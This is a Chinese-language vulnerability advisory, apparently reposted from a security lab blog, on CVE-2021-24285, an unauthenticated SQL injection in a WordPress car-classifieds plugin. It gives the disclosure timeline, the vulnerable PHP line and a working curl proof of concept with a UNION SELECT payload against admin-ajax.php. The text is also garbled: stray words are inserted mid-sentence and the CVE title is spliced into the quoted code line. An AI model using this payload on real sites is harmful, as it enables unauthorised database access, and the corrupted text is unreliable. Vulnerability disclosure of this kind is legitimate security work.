文章來源:Khan安全攻防實驗室
CVE-2021-24285?
????插件名稱:wp-plugin:cars-seller-auto-classifieds-script
????受影響的版本:2.1.0(如果有藏姐,則可能是較低版本)
????漏洞:注入
????所需的最低訪問級別:未認(rèn)證
披露時間
2021年4月19日:確定并向WPScan公開了問題
2021年4月19日:插件已關(guān)閉
2021年4月22日:分配了CVE
2021年4月26日:公開披露
技術(shù)細(xì)節(jié)
經(jīng)過 身份驗證和未經(jīng)身份驗證的用戶都可以使用request_list_request AJAX調(diào)用,無法order_id在SQL語句中使用POST參數(shù)之前對其進行衛(wèi)生檢查掰伸,驗證或轉(zhuǎn)義,這會導(dǎo)致SQL注入問題分飞。
漏洞代碼:carseller_request_list.php#L248
248:$result=$wpdb->get_results("SELECT * FROM$tablenameCVE-2021-24285 WordPress Sql注入 WHERE id=".$_POST['order_id']);
Poc:
curl'http://<Hostname>/wp-admin/admin-ajax.php' \? --data-raw 'action=request_list_request&order_id=-1662 UNION ALL SELECT NULL,NULL,current_user(),current_user(),current_user(),NULL,current_user(),current_user(),NULL-- -' \? --compressed \? --insecure